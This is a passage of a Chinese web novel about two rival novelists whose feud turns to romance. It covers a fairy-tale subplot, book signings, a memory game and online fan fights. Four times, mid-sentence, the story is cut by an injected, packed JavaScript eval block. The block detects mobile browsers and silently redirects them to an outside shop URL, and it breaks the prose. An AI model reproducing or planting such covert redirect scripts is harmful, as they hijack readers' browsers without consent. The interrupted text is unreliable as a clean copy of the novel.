另一边，“饱受宠爱”的颜语凉在奶奶的招呼下吃了一顿大餐，满桌的螃蟹、虾仁、鱼汤、扁豆毛豆荷兰豆…… 吃饱喝足后和奶奶一起坐在檐下乘秋凉，和光临的邻里聊起近事。 胡叔来的时候还带了两坛桂花酿，颜语凉喝了两杯就有些晕乎乎的，以此为由拎着手机上楼回了卧室。 躺在床上翻着消息，发现祝君忱在半小时前给他发来了《碎冰玫瑰心事》的第二章和终章。 【忱.】：[图片][图片][图片] 【忱.】：一万字多一千。 【我无言以对】：谢老师慷慨相赠。 颜语凉昨天在火车上盯着祝君忱码完的初章，没想到对方的中章和终章写得这么快。 和对方之前说的梗概差不多，拇指姑娘以冰蓝玫瑰花园为家，被人类毁坏后踏上了寻找最后一朵蓝玫瑰的道路，途中遇到了一个男孩，男孩说他曾见过最后一朵蓝玫瑰于是与姑娘一起踏上了寻花之路。 颜语凉记得当时祝君忱说男孩一直知道最后一朵蓝玫瑰在哪，途中有惊无险的困难都是在考验姑娘。 他站在上帝视角看见他们屡屡碰壁，第二章后期男孩突然毫无预兆地变成和姑娘一样大小的精灵被蜜蜂追着蜇，一起躲进小雏菊感情升温。 颜语凉一边看得津津有味，一边隐隐察觉到这些困难似乎已经不为男孩所控了，给他一种莫名的不妙感。 这样的感觉一直到第三章后半段，出现一个人，往男孩身上直接泼了桶药水，颜语凉才堪堪反应过来，有些剧情和祝君忱一开始说的并不一样。 姑娘确实是寻找者，但男孩不是帮助者，是逃亡者。 他不是为最后一朵蓝玫瑰找归宿，他是为自己找一个归宿。 他就是那最后一朵蓝玫瑰本身。 [傲慢的科学家面色狰狞地拎起男孩，像捏着一只垂死挣扎的蝼蚁。 “我们一直在好奇，你为什么知道所有冰蓝玫瑰的位置——”科学家睨着男孩，他的长褂子沾满五彩斑斓的药剂，透着可怖的迷人，他提着一瓶贴着“放大水”的试管冲手指间猝然浇去。 被浇得湿漉漉的男孩又变回了原本的大小，发丝间黄色的药水簌簌滴下。 他耷拉着眼皮，肌肉一下子被拉扯变大的痛感非常人能忍受。 科学家嫌弃地看了一眼自己因被药物波及变得肿大的手指，接上之前说的话：“占卜师说世间仅剩一朵蓝玫瑰，先前你能带着我们找到那么多玫瑰，不是因为你能先知万千，而是因为，你就是一朵蓝玫瑰，你知道所有同类在哪。” 男孩吃力地抬着眼皮，抹了把被药水浸湿的脸，用尽全力往科学家脸上甩去。 药水全部剐蹭到那张偏执难看的脸上，左一块右一块肿大起来，他来不及去看对方吃痛的样子，转身耗尽所有的力气拔腿就跑，他大声喊着姑娘的名字：“纹儿——” 心惊胆颤躲在丛枝后玫纹赶忙飞过去：“什么情况？这是怎么了？他说的是真的吗？” 男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758118|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩猛地跑得太远腿下脱力一软半跪在地，他现在跟姑娘身形差得太大，只能用一根手指捧起对方的脸。 “别哭。”直到对方颤声开口，玫纹才意识到自己在不停地掉眼泪。 她看到对方眼里并无害怕，只有无奈、释然和担心。 他说：“不是我不告诉你我的名字，是我本来就没有名字。” 男孩的身体在不太敞亮的月光下开始变得透明，像一块正在温室里融化淌水的冰。 他抚弄着女孩脸颊的指尖最先开始碎裂，变成一片又一片柔软的花瓣。 他的身形也开始摆脱药物影响，越变越小。 地上的蓝色花瓣越堆越多，玫纹心里更加慌乱，她隐约知道了对方就是自己一直在寻找的最后的蓝玫瑰，但是她却不知道该如何拯救他。 她捧着他的脸，眉毛越蹙越深，却被对方轻柔地揉开。 手心被塞了一枚比露珠还小一些的种子，男孩像初见时那般笑起来，那般明媚：“这是最后的种子，让蓝玫瑰重新开满你的花园吧。” 身后，快要追上来的科学家像崩溃嘶吼的野兽，姑娘一把抹尽脸上淌的泪，转身钻入焦绿林丛。 她的手心是一颗易碎的种子和一瓣最湿漉的花瓣。 风卷起遍地轻软的蓝色玫瑰花瓣，掩盖住荒芜的碎土。 玫纹回到故地，重新将废弃的花园翻新打理。 将种子埋进新土，连带着那枚花瓣。 这里不会是一座永恒的蓝色荒冢，记忆与爱可以浇灌出春色满园。 等到那个时候，等到碎冰蓝玫瑰重新开得遍地的时候，玫纹想，她会像以前一样逢人便说—— ——“我有一个无人知晓的静谧花园，谁也找不到。” 碰到男孩也一样，但一定会多个拥抱。 从此她有一个蓝色的心事。] 颜语凉盯着最后几行字，恍然想起这篇文章的开头，原来那句话是拇指姑娘说的话，而不是一个普通的旁白。 他被这个回扣惊得头皮和小臂一阵发麻。 回过神来才发现，小臂是因为看得入迷太久没动才麻。 他的喉头哽了一下，给祝君忱刷了一页的问号。 【我无言以对】：不是说小甜文吗？ 【忱.】：谁说的？ 确实没人说。 颜语凉抿了下唇，又给他发了一页的大哭。 【我无言以对】：求番外！求爆马！ 祝君忱刚洗完澡从浴室出来，用毛巾抹着半湿的头发，低头看见颜语凉发来的消息，忍不住牵起笑来敲字。 【忱.】：今辰好。 然后收到了颜语凉发的一页无语表情包。 【我无言以对】：我算是看明白了，你拿他当挡箭牌呢。 祝君忱盯着这条消息，脸上的笑意加深，抬头就看到正从卧室出来倒水喝的陆缘。 陆缘拿着手上的杯子不知道看了他多久，瞧见他看过来，实在好奇，便问：“谁啊？” 祝君忱笑意微微收敛，斟酌了一下告诉他亲爱的妈妈：“言不言。” “……” 此人跟言不言说话不掀桌子都算好的。 陆缘转身就进了卧室，落下一句，“谁信。” 43. 专属签 翌日偏近中午。 颜语凉订好餐厅后便给祝君忱发了消息。 晚上给颜语凉做免费写手，白天还要给他做专属司机的祝君忱尽心尽职。 奶奶拍着他的肩，笑得和蔼又开心：“小颜交了你这个好朋友可真好呀！” 说着又往他怀里塞橘子和柿子。 颜语凉给祝君忱指路，去了镇上一个叫“花期”的餐厅，店如其名，店里的装横有许多花卉元素，每人用完餐都能去前台随机领到一支正在花期的花。 颜语凉认识店长，联系过后“从中作梗”，将随机的一朵花替换成了碎冰蓝玫瑰。 其实店里没有这种有些特殊的花，更多的是寻常的花，是颜语凉花了点银子让老板特地去买的。 所以出店门的时候两人手里都捏着一支蓝玫瑰。 祝君忱瞥着手里的蓝玫瑰，轻声说：“真巧。” 竭力掩盖心虚的颜语凉打着哈哈说：“是啊，真巧。” 老宅正巧有小花瓶，祝君忱从里屋拿了一只出来，垂眸盯着插在里头的两支花说：“你会醒花吗？” 对花艺知之甚少的颜语凉摇摇头，看着祝君忱放弃了做小花匠的尝试，从包里拿了三本书出来堆到小圆桌上。 《她的沉默雨季》、《例外偏爱》、《与猫无关》。 全是他的书。 颜语凉轻抬眼皮，目光从这几本书上一扫而过，话语间带上笑意：“真买去了？” “不是说要查作业吗？”祝君忱眉头一挑，“难不成言不言老师昨天是在唬我？” “言不言老师从不唬人。”颜语凉说着，做认真状一把把这三本书全揽了过来，抬手翻看，真像在查作业。 祝君忱低头把今天自己要自习的书籍和电脑放到桌上，随口道：“我妈那有亲签典藏版，昨天我说拿普通版跟她换她不乐意。” “我要亲签版做什么，回收劳动成果么？”颜语凉嘟囔完才反应过来，“你妈妈也看我书？” 祝君忱觑着他脸上的表情，说：“陆昼妍带的，我妈最喜欢那本《沉默雨季》。” 颜语凉笑得很乖，嘴甜道：“谢谢阿姨青睐。” “你这本《与猫无关》是养想想的时候写的吗？” 颜语凉正好在翻这本书，闻言回答道：“不是，是写了这本书后，了解了很多养猫的知识，后劲很足跑进猫舍买来了想想。” 说完，他像一个端着的小老头很满意地点点头，沉着嗓子说：“小祝同学作业圆满完成，希望不要骄傲，不要自满，还望再接再厉。” 祝君忱眼眸一动问：“没奖励吗？” 奖励？ 颜语凉大脑一瞬间空白了一下，于是，刚刚还在劝人不要自满的某人大手一挥往自己的著书上签上了名字：“言不言老师的签名是无价之宝。” 双手捧着递过去：“拿好。” 祝君忱听话地拿好，只是看脸上的表情不知道哪块肉疼。 颜语凉研究两秒对方的表情来劲了，面上绷着笑，手上忍不住转笔转得飞快：“什么表情，是嫌不够吗？你很贪婪，但是还好，老师今天心情好。” 遂在下一本上签了三排，递过去：“拿好。” 祝君忱接过的时候动了两下嘴皮子，颜语凉弯着眼睛直接切断他蓄力说话的动作，说：“还嫌不够？那我再签一本！” 他刚翻开最后一本《她的沉默雨季》，就被对方摁住了手。 “啪。” 是笔落在桌面的声音。 今天是个晴天，现在是一天中温度最高的时刻。 虽然秋天已至，但是太阳有时候还是很燥，祝君忱带颜语凉进来的时候顺手开了空调，空调声其实微不可察，但此刻却清晰可闻。 对方抓他手的时候没收住力，拍蚊子似的迎过来，现在倒是松了点力道，但依然严丝合缝地贴着。 颜语凉能感受到对方的温度比自己高一些，不断地从包裹着他的那层肌肤传来，空调风恰好拂过来卷起几丝凉，心口便一寸一寸开始发烫、发痒。 他没有挣开，抬眼触碰到祝君忱的目光。 “给我好好签一本吧。”祝君忱松开他的手，声音很轻。 “好、好。”颜语凉磕巴一下差点咬到舌尖，捏起刚刚没拿稳掉的笔，用力掐了下自己的手心。 心若擂鼓。 他先是和前两次一样签了个“言不言”，然后在名字后面画了个Q版小猫大笑表情。 这本书是三四年前写的，颜语凉不记得当时签的是什么句子，捏了下手指又翻起了书，回忆片刻就想起来了。 他换了个姿势，左手支着脖子，微不可察地捂着那一寸皮肤。 他猜想，现在自己的脖颈肯定红得显眼。 右手继续写签名。 [只会沉默描绘雨季，但喜欢你，淅淅沥沥。] [你望向我，我望向你。] 他盯着最后一行字愣了两秒，最后在右下角又画了只小猫。 这是颜语凉从未给别人签过的最好的“配置”。 他和前两次一样，捧着书递给祝君忱，说：“拿好。” 颜语凉的字清秀好看，小涂鸦也无比可爱，祝君忱满意地牵起嘴角：“谢谢老师。” 颜语凉不知哪里冒出头的羞恼，不顾形象地抓抓头发把自己的小卷毛弄乱了，然后顶着一头鸟巢对祝君忱说：“好热，空调再打低点吧。” 祝君忱看他脖子确实有点红，走到墙边把空调调低了两度。 颜语凉很快收拾好自己的情绪，把电脑和包里的《海纳百石》拿了出来。 祝君忱目光扫过他的动作，没露多少情绪：“写怎么样了？” 颜语凉正在开电脑，闻言咬咬舌尖诚实道：“在想开头。” 祝君忱：？ 颜语凉不出所料地看到对方奇怪的眼神，朝他露出一个“本宫乏了”的表情说：“中间写了蛮多了，回来救猫咪，想了好几个版本都不太满意。” 救猫咪是美国一位著名编剧提出的理论，意思是主角出场时通过一个行为来反映出他的性格，也是开头吸引观众的关键。 之前和祝君忱一起泡图书馆的时候给他看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758119|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那本叫《救猫咪》的书籍，所以对方能听懂自己在说什么。 “万籁生山，一星在水。”颜语凉喃喃念着小说的第一行字，抬眼看向祝君忱，问，“如果是你的话，你会怎么开场？” 祝君忱向他伸手，示意他把书拿过来，颜语凉一边递书，一边随口问：“你看过这本书吗？” “看过。” 他自己写的，能没看过么。 祝君忱正要接过，谁知颜语凉把书“倏”的往回收，眼神凌厉，话音微沉：“那你看过我书吗？” 祝君忱踟蹰两秒，还没说话，就看颜语凉使了个颜色说：“就这本《沉默雨季》。” 祝君忱诚实地摇头：“没有。”这本书被他的妈妈和表妹吹得捧上神坛，每次他听到都要揉一下眉毛，就别说翻开来看了。 颜语凉脸上写着“你居然看今辰好的文不看我的文”，并且迅速地把手上的《海纳百石》丢到了一边，说话沾了点酸味：“不准你写，不准你看。” 祝君忱只好收回手，看着颜语凉又抓着后脑陷入冥思苦想，握着铅笔迟迟难以下笔。 “什么时候开机？”他又问。 “说是十月中旬就要剧本围读。”颜语凉趴在自己的胳膊上看起来蔫巴巴的。 “这么快？不是一般要一两个月么？”祝君忱记得《尘封水》小作坊当时也准备了一个半月，而颜语凉签完合约离十月中旬才二十几天勉勉强强能算一个月，但是实在是太赶了。 颜语凉把自己支起来，回答他：“制片方想趁《尘封水》热度还盛，蹭一波大的。所以刚跟今辰好签完之后就找了公司里的签约编剧写了试镜稿子，这几天出演名单应该差不多定下来了。估计最近就要公布我是《海纳百石》新书的编剧了，他们肯定大炒特炒。” “啊——”颜语凉分析完，长叹一声，“怪不得给那么多，感情是春蚕到死丝方尽，把人当牛马使，榨干所有利用价值。” “辛苦了，”祝君忱听着听着皱了点眉，安慰道，“等你回来了我给你接风洗尘。” “我不要接风洗尘，我要半场开香槟，我要你来探监。” “好啊。”祝君忱欣然应允，“到时候在哪里？” “在一个岛上，叫东极岛，在舟山。” 祝君忱没听过这个地方正要打开手机去搜，却听颜语凉话锋一转：“都怪——” 他不用抬头，也不用回忆就能知道对方接下来要用什么样的表情说什么话，于是默不作声地偷偷捂了下靠颜语凉那一侧的耳朵。 “——今辰好，坑我呢！” 在旁边安慰他、哄他还要挨一巴掌的今辰好本人感觉真心喂了狗。 再抬头，颜语凉已经从救猫咪的思绪中拔出，捧起了手机，幸灾乐祸地敲着字，然后露出一副得逞后偷着乐的表情。 祝君忱感觉颜语凉这样子有点熟悉，果不其然，随后，他的手机“嗡——”的长震了一下。 他抬起手机去看—— 【（您的特别关注）言不言： @今辰好 惊世骇俗巨坑。 】 44. 小游戏 [今辰好：？] [？] [？？] [？？？] [一枕烟雨（嗑好言难劝版）：？言老大，是你要开个惊世巨坑，还是你对面那个要开个惊世巨坑呀？] [傅笛傅笛天下无敌：你别老挑事行不行？我们老师很久没主动挑事了吧？？别蹭了行不行？] [雨天心情差回复 @傅笛傅笛天下无敌 ：很久没主动挑事？上次谁手滑赞了个九宫格？] [傅笛傅笛天下无敌回复 @雨天心情差：都说了手滑了，而且言论自由还不准别人说实话了，言不言干嘛每天跑今辰好那踩脚印，除了想故意刷存在感还有什么？？] [嗑的就是好言难劝 回复 @傅笛傅笛天下无敌 ：路过嗑一口。] [路过嗑一口+999] [路过嗑一口+10086] [我嘞个战地玫瑰啊，最怕被正主发律师函的一集。] [傅笛傅笛天下无敌：滚。] [傅笛傅笛天下无敌：好言难劝滚远点好吗？？？] 颜语凉的博客刚一发出去就反响热烈，他挑几条好玩的评论回复。 [言不言 回复 @一枕烟雨（嗑好言难劝版）：是对面那个本人就是惊世巨坑哈。] [言不言 回复 @傅笛傅笛天下无敌 ：您言论自由，但请暂时别顶着这个id在我评论区转。比那个什么什么劝还让人头痛。] 傅笛和环时是《海纳百石》的主角，言不言刚抹干净脑子暂时不去想这个名字就又被勾起了痛苦的回忆。 逛博客评论区像在上班。 但是旁人不理解。 [傅笛傅笛天下无敌回复 @言不言：？] [？？？] [？？] [？] 颜语凉懒得解释，反正过段时间他们就会明白了，删了几条头像上扛着傅笛和环时名字的评论，心里一阵畅快。 然后才去回复今辰好。 [言不言 回复 @今辰好 ：别给我装傻。] [今辰好回复 @言不言：好的。] 颜语凉一拳砸在棉花上，气得吹胡子瞪眼。 他把手机递给祝君忱看，瘪瘪嘴说：“我脑子转不过来了，你帮我骂他！” 祝君忱抬眼，一只手关掉了电脑上的博客网页，防止颜语凉看到。听到他说的话，脸上表情还在无措，对方的手机就已经塞到了自己手上。 “……” 我骂我自己。 我与自己对骂。 求破解方法。 颜语凉感觉祝君忱的眼神有点复杂，但是他又说不上来是哪里复杂，只当他是没有当过网络键盘手，把手机收了回来自己扣字。 [言不言 回复 @今辰好 ：《海纳百石》为什么开头灌那么多世界观信息？？？不要命了？？？你会写小说吗？？？要不重新写一遍呢？？] 颜语凉问号扣爽了，感觉胸口舒畅许多，马上能与对方大战三百回合。 其实《海纳百石》没那么不堪，但确实肉眼可见地在开头就开始搭世界观框架，讲真挺有趣的，但是写剧本就不一样了，得用人物、场景、镜头语言去体现，而且有几条太天马行空了，更难设计。 颜语凉本以为今辰好会跟往常一样问号起手然后批斗他，他的脑海里已经冒了好几组对话，随时应对对方的各种“攻击”。 谁知对方竟然没有和他互喷。 [今辰好回复 @言不言：看私信。] 颜语凉一愣，点开许久没看的私信，今辰好的头像赫然在首。 【今辰好】：有哪里不好改的可以跟我说，我帮你一起想。 【今辰好】：合作愉快（大笑.jpg） 颜语凉感觉见鬼了，因为他从对方的那个表情包里看出了几分套近乎的意味。 感觉见鬼的不仅仅是他，还有两人的一众书粉。 [？今天休战？] [？？就这，我瓜子都准备好了你跟我说私信去了？] [什么东西得关上门讲，我不能听吗？] [你们现在都已经发展到互相发私信的地步了吗？] [总不是私信互骂吧，以前不都骂给大家一起看的吗？今天为什么关门了？] [太好了，我的cp离结婚只差和好了！] [早说言不言是今辰好托了（吃瓜.jpg）] [楼上不好意思，我要嗑一口——三千字小作文不过尔尔。] [不愧是邪门cp这么硬都嗑得动。] 颜语凉还在思考今辰好的反常，就被祝君忱用手晃了下眼睛，对方提醒道：“写吧。” 颜语凉的注意力瞬间落在祝君忱的手上，发现对方的右手手腕上有一道很小的，微不可察的疤。 他指了下他收回手问：“你那有个疤，怎么弄的？” 祝君忱垂眸抬手看了眼他指的地方，默了两秒，说：“小时候摔骨折了，做了个小手术。” “啊，好可怜。”颜语凉脑海里冒出小小的祝君忱Q版人在草坪上奔跑然后绊了一跤坐在地上嚎啕大哭的模样。 祝君忱瞥他一眼说：“被猫绊了一跤。” 颜语凉双手合十：“猫猫无罪！” 祝君忱弯起眼，翻开他的专业书附和道：“猫猫无罪。” 这天下午，颜语凉的效率尤其高，中途今辰好私信发来了开头的修改意见，他采纳了一些写完开头，又修了中间，后头的剧情也潦草顺了一遍。 比起和别人搭伙写文或者是学习他其实更喜欢一个人默默待着，但是祝君忱坐在他右边的位置就跟透明人一样，也不找他说话，更不会好奇他写的内容，这样的分寸感和安静的氛围让颜语凉很安心。 他口干舌燥抬头时发现窗外的天已经黑了大半，垂眼看到电脑边不知什么时候摆了一杯温水。 但旁边的人不在看他，只是很认真地看着面前的书。 “谢谢。”颜语凉端起那杯水低声说。 祝君忱的目光从书上挪开，看向他。 于是颜语凉也看过去，看到了他正在看的书叫《思考，快与慢》。 祝君忱注意到他的视线：“你猜这本书是什么领域的？” 颜语凉思考着：“看着像心理学。” “是偏心理学，但是和经济学结合了，拿了诺贝尔经济学奖，”祝君忱解释道，他看到颜语凉的表情有点倦倦的，猜测是刚啃了几个小时剧本的缘故，于是垂眸问他：“要不要玩个游戏？” 颜语凉抬了下眉：“什么游戏？” 祝君忱把书哗啦啦地往前翻，翻到某一页，推给颜语凉，并凭记忆讲给他听：“准备两张空白纸，一张空白纸上写随机四个数字，然后用另一张纸盖上，我打节拍，我拍两下桌子你就挪开纸，对你写的每个数字做加1运算，并念出来，比如你一开始写的是1234，两个节拍后你要说2345，再两个节拍后你要说3456。这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758120|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的连号比较简单。9加1是0。” 颜语凉现在有点晕字，没有看书，只听他讲，闻言支棱起来，他手里正好有一张空白草稿纸，他随手撕成两半。 “我试过，刚开始两个节拍太难了，四个拍子吧。”祝君忱看着他的动作补充道。 “不要小看小颜大王好么，”颜语凉在纸上写了四个数字，“两个拍子，6824，开始吧。” 祝君忱颔首：“开始吧。” 两个拍子。 “7935。” 两个拍子。 “8046。” 两个拍子。 “呃……9156，不9157。” 祝君忱摇了下头：“输了，说错一次就会让注意力产生偏差，游戏就得结束。” “好吧，”颜语凉认输，“四个拍子试试，那我什么时候能赢啊？” 原本的书上，这是一个注意力和记忆力的练习，没有输赢一说，现在被他们当作游戏自然得定一个规则。 “坚持十轮算你赢。”祝君忱说，“我给你数着。” “好。”颜语凉点点头，重新在纸上写下四个数字，“0378。” 祝君忱抬了下眉默认了他找了个连号偷懒的行为。 四个拍子。 “1489。” 又四个拍子。 “2590。” 再四个拍子。 “36…01。” “4712。” “…5823。” 这回给的思考时间长，后面两个数还是连号，自然轻松不少，颜语凉抬眸扫了一眼祝君忱轻拍桌子的手，拍了很多下，对方的掌心有些发红。 就是这么一抹红，把颜语凉脑子里的数字全打乱了，他匆匆收回目光，顿了一个拍子才说：“6834。” 却见祝君忱停下了拍桌的手，向他投来眼神，或者说这人其实一直在看他，只是现在眸光轻动和他对上了目光。 “错了。”祝君忱说。 颜语凉讪讪。 “你这么厉害，既要数轮次还得跟我一起算，还能知道我错了。” 祝君忱道出其中窍门：“轮次不用数，十轮的话会回到最初的数字，多练几次会算得更快，就像你数数一样。” 有了祝君忱这么一通活跃氛围，颜语凉被文字熏陶过度的大脑重新充能，他抬手看了会儿手机，发现陆择给他发了个消息询问青书大赛的事。 【陆择】：青书二轮是不是快出结果了？剧本赛道有答辩吧？ 【我无言以对】：四号出结果，八号答辩，晚上六点在隔壁学校艺院的会议室。 青书比赛分赛区，每个赛区会有青书组委会分会的老师进行答辩地点挑选在各大名校，会请几位各校专业老师进行评审。 【陆择】：可惜了，去年参加，答辩地点在我们学校，我是评审，还能给你走个后门。 【我无言以对】：……谢谢。 但是如果真碰到陆择，估计他是最会挑刺的那个，因为他知道学生所有的创作习惯和弱点。 【我无言以对】：对了，十月中下旬我得请个一个月左右长假。 颜语凉想着既然聊上了就顺便把这件事说了。 【陆择】：进组？ 【我无言以对】：嗯，签了《海纳百石》。 正在家里养老喝茶非常舒心的陆择哽了一下：？ 他感觉自己的手心和手背又开始打架了。 45. 宿敌档 【陆择】：？ 陆择有一瞬间怀疑颜语凉是知道了祝君忱就是今辰好，两人和解了才达成的第三次合作。 谁知颜语凉问道：“上次忘了问问老师，您是不是知道今辰好是谁了？他是我们学校的吗？” 陆择不知道应该说是还是不是，选择已读不回，转而去自己大侄子那边发了个怒火中烧的表情。 颜语凉再收到他消息的时候是一张批了一个月假的假条，他心说果然问不出个所以然来，回了句“谢谢老师”，就没有再说什么了。 浑然不知一边的祝君忱正在接受他舅舅的紧箍咒洗礼。 祝君忱看着手机上跳出来的几条陆择发来的消息，有些头痛地感觉全世界的人都觉得他在欺负颜语凉。 他抬眼看到左边的人影又窝起来，埋头写起了剧本，颜语凉有一个先在纸上写小简纲的习惯，此刻似乎又卡了下壳，凝眉苦想着，头疼地咬了下笔尖。 好吧，确实很像是他欺负的，喊冤也没用。 陆择第二天又给颜语凉发来消息让他把完整剧本发过去看一下，他要押一下答辩问的问题。 不过，颜语凉更觉得是他假期太过无聊，没东西看罢了，不然肯定会在他提交前就要过去看一遍。 陆择只一天就看完了，发来的问题和往常评论他写得东西一样一针见血，诸如“为什么毕晗要拯救家族，而不是听从母亲的意见出国，毕竟人都是自私的。”“最后一幕毕经珂和毕怀瑜背了锅，一家人依旧流亡海上，结局并不美满，你觉得你们这个故事想灌输给观众什么？你觉得拍出来能足够吸引人吗？”等等。 于是他假期又往祝君忱老宅小花房那跑了两次和祝君忱聊了一些答辩的问题，还把《海纳百石》剧本磨得差不多，然后就把电子版发给了导演和制片方。 和颜语凉料想的一样，答辩顺利结束的那天晚上，他收到了制片方工作室的消息。 【光耀森灵小千】：言不言老师，我们打算开个官号开始提前宣传了，我们之前聊过提前爆出您是编剧的事，您看一下这样宣传可以吗？ 【光耀森灵小千】：[图片] 【光耀森灵小千】：如果没什么问题的话，我们明天中午就发出啦！ 收到消息的时候颜语凉正和祝君忱一起走在隔壁学校的长道上，打算尝尝这个学校的食堂饭菜如何。 图片上是博客草稿箱，有两条待发布的帖子，第一条是公布官号开始运营的消息，第二条是让观众有奖竞猜编剧是谁。 颜语凉抬起手机敲字，脚下的步子歪歪斜斜地踩着叶子，一不小心撞到旁边的祝君忱。 那一下子力道还挺大，祝君忱步子稳没往旁边踉跄，只是偏头看过来。 颜语凉轻轻说了声抱歉，目光从手机上挪开：“我以为我走得很直呢。” 这个校园的路灯恰到好处，远处的操场上有外国学生正在欢快地踢足球，某一刻欢呼起来，更添几分热闹。或许是他们走的这条路比较偏，路过的人很少。 祝君忱大跨一步走到他前头，拎起他左手的袖子，就和中秋那夜一样，做起了引路人：“走吧。” 颜语凉没作声，盯着他捏着自己某寸衣服布料的手指，就这样一前一后走在校园的路灯下，像牵手散步的情侣。 思及此耳尖便有些发热。 其实左手被占用了，光一只右手打字也没那么方便。 但是他没有说，注意力凝在自己的左手上好一会儿才重新拿起手机来，胡言乱语敲了两个字才发现自己的思绪已经完全被打乱了。 又顿两秒才想起来要说什么。 【我无言以对】：第二条有奖竞猜针对性太强了，因为《尘封水》在前面，肯定很多人猜我，这样就太没有悬念了。 【光耀森林小千】：我们有planB，是发起讨论——“你希望谁来当编剧呢？”，这个怎么样？ 【我无言以对】：可以。 颜语凉没有做宣传的经验，只能客观地提出一些意见。 正巧他放下手机的时候，两人走到了食堂，祝君忱便松开了手，左臂便脱力垂下，颜语凉耷着眼皮看自己左袖，默不作声地捏了一下。 上面还有对方留下的余温，正在一点又一点地消散。 他就像被摆在深檐下的一株盆栽，窃取清风、窃取微光、窃取偏进屋檐的雨水。 祝君忱就是洒落那些美好的一切，他想窃取他的温度。 “有没有想吃的？”祝君忱见他走进食堂却一直在走神，看了一圈窗口，开口提议道，“听说他们学校的西湖醋鱼很好吃，尝尝吗？” “好。”颜语凉拽着袖子点点头，和他一起走到西湖醋鱼的队伍，“刚刚制片工作室给我发消息说明天《海纳百石》就要开始运营了。” 祝君忱正在看菜单：“有没有说什么时候去舟山？” “十四号，围读在十五号，你要来送机么？”颜语凉抬了下眉邀请道， 祝君忱眸光微动：“来。” 颜语凉很高兴地哼哼，又说：“明天《海纳百石》要官宣我是编剧的事，要不要跟我打个赌？” “赌什么？” “赌今辰好肯定会来嘲讽我。” 话音刚落，颜语凉就发现祝君忱的表情掺了几分意味不明，面前比他高一些的男生目光很轻地落在他身上，默了一秒说：“赌注？” “一顿饭。” “好。”祝君忱一口应下来。 * 博客可以定时发表，于是在第二天十二点整，一个刚注册没多久的账号逐步进入大众视野。 【《海纳百石》电视剧： 大家好，从今天开始，小《海石》就要和大家见面啦！！转赞评抽几个小粉丝送小礼物~】 光耀森灵的宣传有一套，前阵子买了个“十月份了还戒不掉《尘封水》怎么办（哭泣.jpg）”的词条今天还在热搜前50挂着。 今辰好在《海纳百石》刚官宣的时候就点了转发，没过多久“《海纳百石》书改剧”的词条便追在后头冉冉升起。 [啊啊啊是海石！我暑假书荒就靠这本活过来的！] [？没记错的话这本书完结还没有两个月吧？这就要开机了？] [楼上你没记错，完结才一个半月。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758121|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [那很焦头烂额了，这么短时间能搞明白这本书的世界观故事线吗？] [不是，一般来说找导演、编剧、演员都得靠两个月吧？？你跟我说他完结快两个月就要开机了？] [它能这么快开机，估计所有班底都是在连载的时候都快刀斩乱麻地定好了，要不然拍出来就是一坨。] [我说怎么《尘封水》还在炒冷饭呢，原来在这等着呢。] [（暗搓搓探头）说到尘封水，所以编剧是谁？] [上半年的宿敌档下半年还能续缘吗？看不懂我在说什么的可以退网了。] 原本还在暗处窥探敌情的两家唯粉，看到这里终于按耐不住了。 [你们新剧炒就炒，别沾我们言不言行不行？] [呵呵，带上你们就感激吧，你以为我们想沾？不是言不言自己贴上来的？这部剧估计贴不上了吧。] [我们言不言扶个贫你还挑上了，凡事先想想配不配。] [可是，我真的想看宿敌档……] [想让言不言做编剧加1。] [看到有评论说班底早就确定好了，编剧要真是言不言，估计就直接以这个为噱头宣传了吧。] [叠甲，我是路人，我觉得言不言会是最了解这本书的编剧，我看他们天天吵架，对彼此近两年的作品一本不落。] 官方博客、营销号下面的评论区有正常喜欢这本书的粉丝在热切期待和隐隐担心，有《尘封水》“余孽”许愿两位作者三搭，当然也有今辰好言不言两家书粉互相挑衅。 总而言之，乱码七八糟的就像战场。 这时，官方下场怼了一把火。 【《海纳百石》电视剧: 